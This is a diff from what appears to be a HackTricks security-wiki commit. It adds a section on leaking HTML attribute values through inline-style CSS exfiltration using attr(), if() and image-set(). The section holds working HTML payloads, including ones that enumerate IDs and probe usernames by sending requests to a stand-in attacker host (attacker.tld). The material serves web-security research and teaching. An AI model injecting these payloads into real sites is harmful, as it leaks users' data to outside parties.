Merge pull request #1341 from HackTricks-wiki/update_Inline_Style_Exfiltration__leaking_data_with_chain_20250826_182859

Inline Style Exfiltration leaking data with chained CSS cond...
This commit is contained in:
SirBroccoli 2025-08-29 02:05:10 +02:00 committed by GitHub
commit 954b1d48e1

View File

@ -107,6 +107,50 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
> Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\
> No worries, just check the **output** because **you can see the flag there**.
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
> [!WARNING]
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
- Read: copy the attribute into a CSS variable: `--val: attr(title)`.
- Decide: select a URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint.
Attempt (does not work; single quotes in comparison):
```html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
```
Working payload (double quotes required in the comparison):
```html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```
Enumerating attribute values with nested conditionals:
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
Realistic demo (probing usernames):
```html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
```
Notes and limitations:
- Works on Chromium-based browsers at the time of research; behavior may differ on other engines.
- Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging.
- Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content).
Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### Other selectors
Other ways to access DOM parts with **CSS selectors**:
@ -779,8 +823,11 @@ So, if the font does not match, the response time when visiting the bot is expec
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
{{#include ../../../banners/hacktricks-training.md}}